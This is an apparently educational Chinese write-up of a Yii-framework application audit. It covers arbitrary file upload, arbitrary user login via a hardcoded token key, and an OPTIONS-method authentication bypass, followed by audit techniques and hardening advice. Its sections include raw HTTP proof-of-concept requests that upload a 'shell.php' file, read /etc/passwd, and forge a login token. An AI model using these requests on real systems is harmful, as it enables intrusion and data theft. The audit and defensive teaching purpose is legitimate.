记一次项目中遇到的YII框架审计
字数 1772 2025-08-23 18:31:18
YII框架安全审计实战教学文档
一、YII框架基础认知
1.1 框架目录结构
- 系统根目录:
/system(模块化管理) - 入口文件:
/web/index.php(定义应用入口和登录地址) - API入口:
/web/oa-api.php(用于API模块)
1.2 路由机制解析
YII框架采用MVC架构,路由格式为:
/模块名/控制器/操作
示例:
/oa/main/login→system/modules/oa/controllers/MainController.php中的actionLogin()- 控制器文件命名规则:
[模块名]/controllers/[控制器名]Controller.php - 操作方法命名规则:
action[操作名]()(驼峰式)
二、漏洞审计实战
2.1 任意文件上传漏洞
漏洞点1:模块上传功能
审计步骤:
- 全局搜索
move_uploaded_file函数 - 定位到
system/modules/main/extend/SaveUpload.php和system/modules/party/extend/Upload.php - 发现扩展名限制被注释,导致无过滤
漏洞利用条件:
- 存在调用
SaveUpload::saveFile()的控制器 - 未授权或权限绕过
未授权上传路径:
/contacts/default/upload/salary/record/upload/knowledge/default/upload
利用PoC:
POST /index.php/salary/record/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=WebKitFormBoundary
--WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png
<?php phpinfo();?>
--WebKitFormBoundary--
漏洞点2:静态文件上传
文件路径:/web/static/lib/weboffice/js/OfficeServer.php
漏洞原理:
- 通过
FormData参数控制操作类型 OPTION参数值:SAVEFILE:文件上传LOADFILE:文件下载
利用PoC:
# 文件上传
POST /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"SAVEFILE","FILEPATH":"/shell.php"} HTTP/1.1
Content-Type: multipart/form-data; boundary=WebKitFormBoundary
--WebKitFormBoundary
Content-Disposition: form-data; name="FileData"; filename="shell.php"
Content-Type: image/png
<?php phpinfo();?>
--WebKitFormBoundary--
# 文件下载
GET /static/lib/weboffice/js/OfficeServer.php?FormData={"OPTION":"LOADFILE","FILEPATH":"/etc/passwd"} HTTP/1.1
2.2 任意用户登录漏洞
漏洞文件:system/modules/oa/controllers/AuthController.php
漏洞原理:
- 硬编码认证逻辑
- 认证参数:
user:base64编码的用户名token:md5(user + key)(key硬编码)
利用步骤:
- 确认存在用户(如zhangsan)
- 计算:
user=base64("zhangsan")→ "emhhbmdzYW4=" - 计算:
token=md5("zhangsan" + "hardcode_key")→ "b336aa3ea64e703583bb7cbe6d924269"
利用PoC:
GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1
2.3 权限绕过漏洞
漏洞文件:api/modules/v1/controllers/UserController.php
漏洞原理:
notAuthAction数组定义免鉴权方法(需使用下划线命名)- 框架
behaviors()方法中存在逻辑缺陷:OPTIONS请求方法可绕过鉴权- 或方法名在
notAuthAction数组中
利用步骤:
- 正常访问需鉴权接口返回401:
GET /oa-api.php/v1/user/get-info?id=1 HTTP/1.1 - 使用OPTIONS方法绕过:
OPTIONS /oa-api.php/v1/user/get-info?id=1 HTTP/1.1
三、审计技巧总结
3.1 关键搜索词
move_uploaded_file(文件上传)notAuthAction(权限控制)behaviors()(权限验证)saveAs(文件操作)@符号(特殊路由)
3.2 审计方法论
- 入口定位:从
index.php和开发文档入手 - 路由分析:理解
模块/控制器/操作的映射关系 - 敏感函数追踪:全局搜索危险函数
- 权限验证检查:
- 查找
notAuthAction数组 - 检查
behaviors()方法逻辑
- 查找
- 黑盒结合:通过报错信息反推代码逻辑
3.3 开发安全建议
- 始终启用文件扩展名验证
- 避免硬编码认证凭证
- 使用框架官方推荐的路由验证方式
- 静态资源目录应禁用PHP执行
- 对
OPTIONS等HTTP方法做严格限制
四、参考资源
通过本案例可看出,框架本身的安全机制需要正确配置才能生效,开发人员的安全意识与代码审计人员的细致程度同样重要。建议定期进行安全审计,特别是对自定义模块和第三方组件的检查。